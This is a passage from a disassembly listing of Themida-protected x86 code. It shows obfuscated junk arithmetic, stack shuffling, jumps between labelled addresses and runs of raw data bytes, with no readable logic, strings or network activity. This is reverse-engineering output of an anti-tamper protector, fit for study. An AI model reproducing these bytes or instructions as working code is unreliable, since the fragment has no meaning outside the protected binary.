loc_5641B6:				; CODE XREF: Themida_:00555312j
		mov	edx, ebp
		pop	ebp
		add	edi, edx
		pop	edx
		jmp	loc_551D10
; ---------------------------------------------------------------------------
		db 58h,	56h, 0BEh
		dd 57F95BA7h, 7BE9F001h, 83FFFFFBh, 0C3E904C6h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5641D7:				; CODE XREF: Themida_:00565E93j
		sub	eax, 5F414C98h
		add	eax, 0DC8AE431h
		push	esi
		mov	esi, 61651406h
		add	edi, esi
		pop	esi
		add	edi, eax
		sub	edi, 61651406h
		pop	eax
		pop	edx
		push	esi
		mov	esi, 190D0FAFh
		add	esi, 3B0B4D0Dh
		not	esi
		shr	esi, 6
		xor	esi, 2AF9E89h
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	ebp
		push	ecx
		mov	ecx, 13B541D2h
		jmp	loc_55B256
; ---------------------------------------------------------------------------
		db 57h
		dd 6856E789h, 3AF4h, 0BA241489h, 6D321B44h, 835AD689h
		dd 0CE8101EEh, 16EE6C0Fh, 0FF90E2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564245:				; CODE XREF: Themida_:005545F6j
		push	0A9B2A9Dh
		pop	ebp
		or	ebp, 1C052380h
		shr	ebp, 7
		or	ebp, 8E643E7h
		dec	ebp
		add	ebp, 6696241Fh
		sub	ebp, 58D0A1F7h
		add	edx, ebp
		pop	ebp
		jmp	loc_566546
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0B753D800h, 80CFFED7h, 0C7FEBDCFh, 95EF80h, 51525BF8h
		dd 5350DCB5h, 0F888EF88h, 58C6885Bh, 0CCAEE959h, 65BEFFFFh
		dd 816BF85Bh, 5A5A52EEh, 8E6C16Ch, 0FF0B0CE9h, 240489FFh
		dd 0EE885253h, 885AF388h, 0DAB5E9D8h, 1C89FFFEh, 170D6824h
		dd 14890000h, 5A9CBA24h, 0DAF75119h, 0D4F28142h, 4234BA5Bh
		dd 0FFA3CFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5642D9:				; CODE XREF: Themida_:005539F4j
		push	0AA5h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_55F34F
; ---------------------------------------------------------------------------
		dd 0E9E08950h, 0FFFF8DCEh, 1BEB8159h, 89FB1737h, 241C8BDDh
		dd 0E904C483h, 0FFFED64Eh, 805BE380h, 0EB8001C3h, 0E9DD2843h
		dd 0FFFFAA92h, 0A467F868h, 19E95D6Eh, 5EFFFF83h, 2D96D6F7h
		dd 0DD6188C0h, 67E9C629h, 0F7FFFFEAh, 45BB53D6h, 0C1191059h
		dd 0EB8104E3h, 6347248h, 0FEF7AAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564345:				; CODE XREF: Themida_:0055DB19j
		add	eax, ebp
		add	eax, 11DA4D4Dh
		pop	ebp
		sub	esp, 4
		jmp	loc_5626A7
; ---------------------------------------------------------------------------


loc_564358:				; CODE XREF: Themida_:00556E58j
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	eax
		jmp	loc_556211
; ---------------------------------------------------------------------------


loc_56436F:				; CODE XREF: Themida_:00560A92j
		add	cl, 83h
		mov	eax, [esp]
		add	esp, 4
		sub	al, cl
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_5621C8
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 0DC97E956h, 0EC68FFFEh, 8900003Eh, 0CA682404h, 0E959C57Bh
		dd 0FFFF79FCh
; ---------------------------------------------------------------------------


loc_5643A4:				; CODE XREF: Themida_:0055830Ej
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, 441051A0h
		mov	edi, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	ebx, 7AA5C19h
		sub	ebx, 2CA574DBh
		add	ebx, 7C9F24C7h
		sub	ebx, edi
		jmp	loc_55F7B1
; ---------------------------------------------------------------------------
		db 54h
		dd 51243C8Bh, 0BF57E189h, 4B44035Ah, 5A93EF81h,	5FE95A6Ah
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5643F3:				; CODE XREF: Themida_:0055673Cj
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_556DAB
; ---------------------------------------------------------------------------
		db 29h,	54h, 24h
		dd 815E5A04h, 0F41B26C6h, 6F2D5D0Bh, 0E97E1253h, 0FFFF44DBh
		dd 5124248Bh, 17E7E9h, 5DEA0100h, 0FF0ADCE9h, 258ABAFFh
		dd 0DA29E190h, 0E9CA295Bh, 0FFFEE081h, 4C181h, 0C1810000h
		dd 4, 8B240C87h, 0C3892424h, 0D6C38158h, 896C6172h, 0C7815BDFh
		dd 0C4C2C6D3h, 17E9F829h, 8BFFFF1Ah, 8950240Ch,	405E0h
		dd 4050000h, 87000000h,	7E92404h, 81FFFF55h, 44FEBEF1h
		dd 8C4FE9B9h, 1C89FFFFh, 607EBB24h, 0DD093889h,	5EDC15Bh
		dd 0FF9B62E9h, 0C1EE81FFh, 813E8C4Ah, 3C1132EEh, 2EEC168h
		dd 294CC681h, 0F201DE16h, 0FFE8F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5644B5:				; CODE XREF: Themida_:0055C4FEj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		shr	eax, 10h
		jmp	loc_56006C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 7EE92434h, 66FFFEECh, 57240C8Bh, 0C781E789h,	4, 4EF81h
		dd 3C870000h, 14895C24h, 95C6824h, 24890000h, 24048324h
		dd 34685A04h, 8900004Eh, 6851241Ch, 16D21515h, 69B85059h
		dd 21712277h, 0E98358C1h, 5E9C1FFh, 782CF181h, 0CB891955h
		dd 41AEE959h, 0C700FFFFh, 66C1C780h, 0B7535858h, 0F2C7800Ch
		dd 0E9ECC780h, 7CCh
; ---------------------------------------------------------------------------


loc_564538:				; CODE XREF: Themida_:0055EC32j
		mov	esp, [esp]
		shr	ecx, 0Ah
		push	2AA8h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55C0A2
; ---------------------------------------------------------------------------


loc_56455D:				; CODE XREF: Themida_:005647ACj
		shl	eax, 7
		push	ecx
		mov	ecx, 2C1C19DAh
		jmp	loc_5623B4
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 875DE901h, 885C240Ch, 1E98734h, 5CFFFEEDh, 0E95CC580h
		dd 0FFFF83BBh, 8B243433h, 34E92424h, 1FFFEF0h, 3C335AD7h
		dd 243C3124h, 5C243C33h, 24048B66h, 8904EC83h, 0BBE9241Ch
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5645AF:				; CODE XREF: Themida_:0055C13Dj
		sub	ebx, 0D6BF77B0h
		add	eax, ebx
		pop	ebx
		or	eax, eax
		jmp	loc_55A6E7
; ---------------------------------------------------------------------------
		db 83h
		dd 3C3304C4h, 0B1B3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5645CA:				; CODE XREF: Themida_:00558ABBj
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	dl, 0FAh
		jmp	loc_55F2D1
; ---------------------------------------------------------------------------
		dd 0F473CD35h, 6856517Bh, 6F2601Fh, 81DEF75Eh, 0C61534F6h
		dd 6EEC101h, 0E8D0C681h, 895511C3h, 5DE989F5h, 0FEFA0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564601:				; CODE XREF: Themida_:00565697j
		dec	esi
		neg	esi
		and	esi, 7E382E17h
		jmp	loc_554889
; ---------------------------------------------------------------------------
		db 81h
		dd 0DC4B72F5h, 0E9565211h, 0FFFFAAE2h
; ---------------------------------------------------------------------------


loc_56461C:				; CODE XREF: Themida_:0055E177j
		sub	eax, 5106AF52h
		xor	ebp, eax
		jmp	loc_55662B
; ---------------------------------------------------------------------------
		dd 2031EF81h, 4E9211Ch,	83FFFFF8h, 42E904C4h
		db 0FCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56463B:				; CODE XREF: Themida_:00561840j
		mov	edx, [esp]
		jmp	loc_5581D2
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFCDB0E9h, 1CB850FFh, 577FE3Dh, 0F787E52Eh,	7FE9C601h
		dd 29FFFF72h, 9A3DE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564662:				; CODE XREF: Themida_:00559B04j
		push	19C031B2h
		mov	esi, [esp]
		jmp	loc_557ECA
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4C481h, 0E9560000h, 0FFFFE2A0h, 0CFDB850h, 1AE9228Bh
		db 0D6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564687:				; CODE XREF: Themida_:0055B027j
		mov	ebp, 104D6760h
		add	ebp, 7FF3924Ch
		jmp	loc_55516E
; ---------------------------------------------------------------------------
		db 66h
		dd 57240C8Bh, 0C781E789h, 4, 4EF81h, 3C870000h,	0FEE95C24h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5646B3:				; CODE XREF: Themida_:00557854j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		add	eax, esi
		pop	esi
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_556F61
; ---------------------------------------------------------------------------
		dd 148BD589h, 4C48124h,	0BB000000h, 47023830h, 435DEB01h
		dd 1ED6E950h, 0E95DFFFFh, 0FFFF8D1Ch, 4EC8359h,	57241C89h
		dd 0EA4D39BFh, 5E7C178h, 0FF6B11E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564709:				; CODE XREF: Themida_:0055F9C0j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_552877
; ---------------------------------------------------------------------------
		db 5Bh,	56h, 0BEh
		dd 50CB21EFh, 29B6F681h, 6E955BBh
		db 1Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56472B:				; CODE XREF: Themida_:00554AA8j
		mov	esi, esp
		push	2FE8h
		mov	[esp], ebx
		jmp	loc_555CE2
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 50AD1D5Eh, 0FF217DE9h, 25E281FFh, 81499357h,	2FADD8EAh
		dd 6D48E9F8h, 0FF5CFFFFh, 0BBE92434h, 52FFFF0Dh, 34E9F6B2h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564767:				; CODE XREF: Themida_:005636D7j
		push	eax
		pushf
		jmp	loc_551628
; ---------------------------------------------------------------------------


loc_56476E:				; CODE XREF: Themida_:00562770j
		push	edi
		mov	edi, 344410Eh
		sub	eax, edi
		pop	edi
		jmp	loc_5539F0
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4832424h,	34FF0424h, 2434FF24h, 4C48158h
		dd 83000000h, 0EC8104C4h, 4, 0BA241489h, 22FD2475h, 0FF443DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5647A9:				; CODE XREF: Themida_:00565C97j
		shl	eax, 6
		jmp	loc_56455D
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 0C3830000h, 0D192E904h, 0F101FFFFh, 0FF6EB8E9h
		dd 4EC83FFh, 0E9242C89h, 0FFFFFBBEh, 4C481h, 0E2680000h
		dd 8900004Ah, 0BE56243Ch, 4214AD8h, 658F9BFh, 0E9F7310Eh
		dd 1353h, 0EE3649B8h, 0E9D0F709h, 0FFFF49DFh, 6C14CA05h
		dd 7F78E937h, 0EF81FFFFh, 7CA1379Bh, 6FD3B951h,	1E9078Dh
		dd 5AFFFEE2h, 48BC288h,	0E0F6E924h, 3C8BFFFEh, 4C48324h
		dd 0FF6208E9h, 0E984B6FFh, 0FFFF73E6h, 0C381E389h, 4, 4C381h
		dd 1C870000h, 13E95C24h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56484F:				; CODE XREF: Themida_:0055ABF1j
		pop	ebx
		pop	ecx
		add	esi, ebp
		jmp	loc_5596E0
; ---------------------------------------------------------------------------
		dd 4101E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56485E:				; CODE XREF: Themida_:00562185j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5532D7
; ---------------------------------------------------------------------------
		db 0F6h
		dd 98F780D7h, 44E9FA28h, 81FFFF45h, 140C57C1h, 5E1C123h
		dd 0E908E9C1h, 0FFFEEA61h, 5501BCBAh, 0B8505156h, 1F4035FEh
		dd 430D4040h, 35117B63h, 2FEB4BEFh, 790F2705h, 58C18934h
		dd 0FF7A09E9h, 0BD5552FFh, 2, 0FFAA4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5648B9:				; CODE XREF: Themida_:00562CD4j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_562939
; ---------------------------------------------------------------------------
		dw 0F028h
		dd 5A669F04h, 8324148Bh, 685304C4h, 55ECh, 54243489h, 8124348Bh
		dd 4C4h, 0D7B95100h, 49477D33h,	0E1C1D9F7h, 38936808h
		dd 4890000h, 0A4BB5324h, 0F7612E24h, 81DBF7DBh,	0E20EA0F3h
		dd 0E9D889E3h, 0FFFF3BA2h, 0F083E95Fh, 8B55FFFEh, 0C4812414h
		dd 4, 8CCA815Dh, 5212502Dh, 0FF9C98E9h,	0FDE955FFh, 55FFFEFCh
		dd 0FEDDC2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564939:				; CODE XREF: Themida_:0056311Aj
		mov	ecx, [esp]
		add	esp, 4
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_554C28
; ---------------------------------------------------------------------------


loc_564949:				; CODE XREF: Themida_:00561FD9j
		mov	[esp], esp
		push	esi
		mov	esi, 4
		jmp	loc_5603DC
; ---------------------------------------------------------------------------
		db 0D1h
		dd 4CC181E9h, 525EAB18h, 0FF3843E9h, 240431FFh,	8B240433h
		dd 0C83B2424h, 0CCB2E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_556736
; ---------------------------------------------------------------------------


loc_564987:				; CODE XREF: Themida_:005656A8j
		mov	[esp], ecx
		jmp	loc_551628
; ---------------------------------------------------------------------------
		db 89h
		dd 8B5F5DEBh, 0C483242Ch, 0FFD83104h, 0E95B2434h, 0FFFF58EAh
		dd 0BBE9E888h
		db 7, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5649AB:				; CODE XREF: Themida_:0055EBB2j
		shr	eax, 2
		xor	eax, 9FF7BAh
		jmp	loc_561700
; ---------------------------------------------------------------------------
		dd 937FE954h, 9FB9FFFFh, 8136172Bh, 96568BF1h, 2E1C167h
		dd 411C981h, 81490F78h,	98FB81F1h, 172FE926h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5649DE:				; CODE XREF: Themida_:0055432Ej
		add	edx, 4
		jmp	loc_55BFB5
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 0FF7C91E9h, 4E3C1FFh, 0FFF58FE9h, 0D5EA80FFh, 68B551h
		dd 240C8BEAh, 4C483h, 0D8005AD0h, 0FFF5DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564A11:				; CODE XREF: Themida_:00557B76j
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_5607D7
; ---------------------------------------------------------------------------
aIus1		db '䋎1',8,0
		db 0
; ---------------------------------------------------------------------------


loc_564A31:				; CODE XREF: Themida_:005534C7j
		mov	ebp, edx
		mov	edx, [esp]
		jmp	loc_55A724
; ---------------------------------------------------------------------------
		db 0FFh
		dd 535F2434h, 0C381E389h, 4, 8704C383h,	0BDE9241Ch
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564A53:				; CODE XREF: Themida_:005581F0j
		push	4E722504h
		pop	ecx
		mov	ebx, ecx
		jmp	loc_559423
; ---------------------------------------------------------------------------
		dd 5106EAC0h, 0E180DBB1h, 79B35318h, 0FE5BD928h, 0FEC1FEC1h
		dd 7DF180C9h, 0B8E9CA30h, 89FFFF24h, 0EBB241Ch,	296C405Bh
		dd 0EA815BDAh, 0B524B486h, 9A46112Dh, 5D02943h,	439A4611h
		dd 8124148Bh, 4C4h, 58C70100h, 2C781h, 56E90000h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564AB3:				; CODE XREF: Themida_:0055768Fj
		sub	edx, 633B054Eh
		sub	edx, edi
		add	edx, 633B054Eh
		pop	edi
		sub	edx, 5AA40F26h
		add	edx, edi
		add	edx, 5AA40F26h
		jmp	loc_5523DE
; ---------------------------------------------------------------------------


loc_564AD5:				; CODE XREF: Themida_:0055488Bj
		xchg	ebp, ebx
		jmp	loc_554EFC
; ---------------------------------------------------------------------------
		dd 0E95BDE01h, 0FFFF111Ah
; ---------------------------------------------------------------------------


loc_564AE4:				; CODE XREF: Themida_:00558C97j
		or	edx, eax
		jmp	loc_564D2B
; ---------------------------------------------------------------------------


loc_564AEB:				; CODE XREF: Themida_:0055FBE4j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 0Ah
		xor	eax, ecx
		push	66EDh
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		jmp	loc_558A2A
; ---------------------------------------------------------------------------
		dd 19D8C981h, 0CFE9658Fh, 81000003h, 4ECh, 24348900h, 5DD74ABEh
		dd 0CC79E92Bh, 0C481FFFFh, 4, 735968h, 24048900h, 2B8h
		dd 8BC20100h, 31E92404h, 83FFFEDAh, 1C8704C3h, 24248B24h
		dd 81E28952h, 4C2h, 4EA8300h, 31241433h, 14332414h, 0FFE95C24h
		dd 81FFFF8Ah, 0BA109CEAh, 239BE94Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564B76:				; CODE XREF: Themida_:00552A8Dj
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55B90C
; ---------------------------------------------------------------------------


loc_564B85:				; CODE XREF: Themida_:005583D7j
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3D87717Bh
		shl	ecx, 1
		jmp	loc_55D2C5
; ---------------------------------------------------------------------------
		dd 504C483h, 4,	5004E883h, 42474FFh, 24048F58h,	8924248Bh
		dd 57B82404h, 55174E6Fh, 44EEE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564BBE:				; CODE XREF: Themida_:00556BDFj
		push	7295h
		mov	[esp], edx
		mov	edx, 2EB43774h
		xor	ebx, edx
		pop	edx
		dec	ebx
		xor	ebx, 5905045Eh
		xor	edx, ebx
		jmp	loc_564CAA
; ---------------------------------------------------------------------------
		dd 68241489h, 704Ah, 0BE243489h, 3DAEB4ADh, 0FF3B8CE9h
		dd 4E3C1FFh, 3903F381h,	4B4B7729h, 0E5F8F381h, 8568A76Bh
		dd 89000041h, 0ABB9240Ch, 817B8032h, 1667C6C2h,	56CA2956h
		dd 2E381ABEh, 25ECE915h, 0B951FFFFh, 5D38677Ch,	4E9C149h
		dd 54BAC181h, 49E93136h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564C37:				; CODE XREF: Themida_:0056121Bj
		sub	bl, 42h
		mov	dl, bl
		pop	ebx
		or	al, dl
		jmp	loc_558EB0
; ---------------------------------------------------------------------------


loc_564C44:				; CODE XREF: Themida_:0055B938j
		xor	ecx, ebx
		xor	ebx, ecx
		push	54C9h
		mov	[esp], edx
		mov	edx, 4591B2Ch
		or	edx, 3DCA1BEDh
		sub	edx, 5A00483Fh
		add	edx, 1
		push	ecx
		jmp	loc_562910
; ---------------------------------------------------------------------------
		dw 0BCBDh
		dd 6864B400h, 4078h, 68241C89h,	3181598h, 68241C8Bh, 120Dh
		dd 89242C89h, 0E95553E5h, 0FFFEF34Ch, 0FB0EE9ADh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564C96:				; CODE XREF: Themida_:0055FC95j
		pop	ebx
		jmp	loc_5552F8
; ---------------------------------------------------------------------------
		dd 4C681h, 34870000h, 0E4D5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564CAA:				; CODE XREF: Themida_:00564BD7j
		pop	ebx
		jmp	loc_55EF7B
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 0FFFB1BE9h, 80C700FFh, 5066E3C7h,	0EF80D9B0h
		dd 0F858E9C1h, 5ADFFFFh, 381D78FCh, 52D8B951h, 1E2D5AC2h
		dd 0E94DC762h, 9F3h
; ---------------------------------------------------------------------------


loc_564CE0:				; CODE XREF: Themida_:0055C93Ej
		and	ebx, 498E307Ah
		or	ebx, 5B0C50E3h
		push	edi
		mov	edi, 5C25134Ah
		not	edi
		jmp	loc_565F8E
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 0E9243C31h, 0FFFF12DEh, 6866h, 8A243C28h, 0C483243Ch
		dd 3E7C002h, 483F780h, 2CF8280Eh, 5FE95B0Eh, 83FFFFC3h
		dd 6EE904C4h
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564D2B:				; CODE XREF: Themida_:00564AE6j
		shl	edx, 1
		push	2B87h
		mov	[esp], eax
		mov	eax, 24h
		sub	eax, 53691D6Fh
		add	eax, edi
		add	eax, 53691D6Fh
		push	ecx
		jmp	loc_563E57
; ---------------------------------------------------------------------------


loc_564D4C:				; CODE XREF: Themida_:00552F1Dj
		mov	[esp], ecx
		push	ebp
		jmp	loc_55B9D3
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5D04h, 4C2E924h, 0E8C1FFFFh, 628E2D08h, 0EE819003h
		dd 5F3D0E4Bh, 0E5E9C629h
		db 0F7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564D77:				; CODE XREF: Themida_:00558A3Ej
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_553B53
; ---------------------------------------------------------------------------


loc_564D8F:				; CODE XREF: Themida_:005533F6j
		pop	esi
		jmp	loc_557728
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4ECh, 242C8900h, 0AB6122BDh,	4EDC144h, 354EE581h, 0F5817E60h
		dd 60886B0Dh, 0A0F5C581h, 0AAE99B37h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564DBF:				; CODE XREF: Themida_:0055E351j
		add	al, 0EEh
		mov	dl, al
		pop	eax
		sub	dl, bh
		mov	ebx, [esp]
		jmp	loc_5606FF
; ---------------------------------------------------------------------------
		dw 64B8h
		dd 292EB508h, 0DBF758C3h, 0D004F381h, 0DD313136h, 0ED81455Bh
		dd 0DCA8FCB0h, 6475E981h, 0E9014337h, 6475C181h, 815D4337h
		dd 4ECh, 24148900h, 0B0562ABAh,	5AD10145h, 0FFC9A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564E0D:				; CODE XREF: Themida_:00565F89j
		mov	[esp], ebp
		push	62D64493h
		pop	ebp
		xor	edx, ebp
		mov	ebp, [esp]
		push	ebp
		jmp	loc_55FAAE
; ---------------------------------------------------------------------------


loc_564E21:				; CODE XREF: Themida_:0055FE7Cj
		xchg	eax, [esp]
		pop	esp
		push	276Ch
		mov	[esp], ebx
		mov	ebx, 59AE2D2Ah
		jmp	loc_553C27
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 4C48324h,	7FE95450h, 9FFFFD6h, 2C8B1C6Fh
		dd 4C48124h, 0E9000000h, 0FFFF09D8h
; ---------------------------------------------------------------------------


loc_564E58:				; CODE XREF: Themida_:0055F735j
		add	ebp, 7BA21604h
		pop	eax
		mov	esi, ebp
		jmp	loc_55D6C7
; ---------------------------------------------------------------------------
		dw 0BFB8h
		dd 0E93C8972h, 0FFFFE217h
; ---------------------------------------------------------------------------


loc_564E70:				; CODE XREF: Themida_:0055C17Bj
		pop	ebp
		jmp	loc_552D91
; ---------------------------------------------------------------------------


loc_564E76:				; CODE XREF: Themida_:005623AFj
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_55E68D
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 80h
		dd 8110164Dh, 1650C7EEh, 643CE903h, 34FFFFFFh, 2434FF24h
		dd 8324048Bh, 0C48304C4h, 72A56804h, 34890000h,	51E68924h
		dd 4B9h, 59CE0100h, 3304EE83h, 34312434h, 24343324h, 8924248Bh
		dd 0E9542404h, 0FFFF0DA7h, 24048B66h, 0E9E78957h, 0FFFED93Ah
; ---------------------------------------------------------------------------


loc_564EDC:				; CODE XREF: Themida_:00554B93j
		mov	ecx, 4
		jmp	loc_554AAD
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0F22C073Ah, 0FF0C0DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564EF1:				; CODE XREF: Themida_:0056388Ej
		add	edx, edi
		push	esi
		push	0E21698Eh
		jmp	loc_554E12
; ---------------------------------------------------------------------------


loc_564EFE:				; CODE XREF: Themida_:00562E24j
		add	edi, 4
		add	edi, 4
		jmp	loc_5597CD
; ---------------------------------------------------------------------------
		dd 34FFCA01h, 82685924h, 89000039h, 0E2892414h,	4C281h
		dd 72680000h, 89000007h, 0BA522434h, 41057205h,	537468h
		dd 243C8900h, 0BA54F268h, 0C7815F65h, 48FC585Fh, 20AEF781h
		dd 0FE89104Ch, 0E9D6015Fh, 0FFFED6E3h, 241C8B5Dh, 4C481h
		dd 1E680000h, 89000050h, 15BB241Ch, 816B3242h, 0C338C4C3h
		dd 0D7EB81B0h, 521BF57Ah, 0A857DABAh, 0C1DAF720h, 814208E2h
		dd 0A73C89EAh, 0F2814251h, 670BE603h, 0FFB43AE9h, 2BC781FFh
		dd 11BFC46h, 4E3D68D7h,	34890000h, 462B6824h, 348B1BFCh
		dd 0D3C5E924h, 0C681FFFEh, 53856A57h, 8103EEC1h, 67734EEh
		dd 0EAA0E93Fh, 6853FFFFh, 4AA6h, 0FF0DD7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564FD1:				; CODE XREF: Themida_:005604CAj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		jmp	loc_565E58
; ---------------------------------------------------------------------------
		db 80h,	0E5h, 0FEh
		dd 0FEC580h, 305B59E8h,	0C0B60FC3h, 0E98734FFh,	0FFFFC228h
		dd 0D0A0BCB8h, 8BC531F8h, 0C4832404h, 0EDC18104h, 16EBF33h
		dd 0EDE981E9h, 5D6EBF33h, 2C181h, 6E90000h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56501F:				; CODE XREF: Themida_:005549C0j
		sub	esp, 4
		jmp	loc_559AC7
; ---------------------------------------------------------------------------
		db 68h
		dd 2A93h, 0FF240489h, 8B042474h, 89502404h, 4BA52E0h, 1000000h
		dd 0C0835AD0h, 24043304h, 33240431h, 248B2404h,	1F7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565056:				; CODE XREF: Themida_:0055ADFDj
		push	668Bh
		mov	[esp], ebx
		jmp	loc_552773
; ---------------------------------------------------------------------------


loc_565063:				; CODE XREF: Themida_:0055B2E3j
		pop	esp
		push	esi
		push	21E9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	edx
		push	4
		pop	edx
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_565457
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 1B9h, 59CB2900h, 0F4E7C381h,	0DE21FF11h, 0E92434FFh
		dd 0FFFEFB3Fh
; ---------------------------------------------------------------------------


loc_5650A8:				; CODE XREF: Themida_:00554FA0j
		mov	[esp], edi
		mov	edi, 2F4006EFh
		xor	ebx, edi
		jmp	loc_55F2DA
; ---------------------------------------------------------------------------
		db 80h
		dd 0FC30E0C7h, 8E4C05Bh, 0FF1F7DE9h, 80CA00FFh,	5966D0EAh
		dd 8324048Bh, 885004C4h, 58C588D0h, 0E92434FFh,	0FFFECA52h
		dd 47500540h, 0C101117Ah, 7E9C158h, 7807F181h, 0E9500088h
		dd 0FFFEF0BBh, 5295D0F7h, 0FECC61E9h, 0FE2966FFh, 0EC835F66h
		dd 242C8904h, 84686653h, 665B6648h, 8166DBF7h, 66185FE3h
		dd 3C98C381h, 69C38166h, 41F2E9F3h, 3C89FFFFh, 1962BF24h
		dd 0F3E96FD8h, 0C1FFFF23h, 0DE8706E6h, 6B63E943h, 0E952FFFFh
		dd 0FFFF22A3h
; ---------------------------------------------------------------------------


loc_565148:				; CODE XREF: Themida_:0055A538j
		mov	ebp, eax
		jmp	loc_561C6D
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0AB0F6624h, 0E99C2404h, 0FFFEC4C8h, 0E9243487h
		dd 0FFFF9CCBh, 0E9240C8Bh, 0FFFF3BFFh, 0B44BBDB8h, 80CFE91Eh
		dd 8143FFFFh, 183805C3h, 5BDE0110h, 5604EE83h, 0FFEBAAE9h
		dd 467405FFh, 93351E88h, 9C6DF08h, 24048BC6h, 4C481h, 81460000h
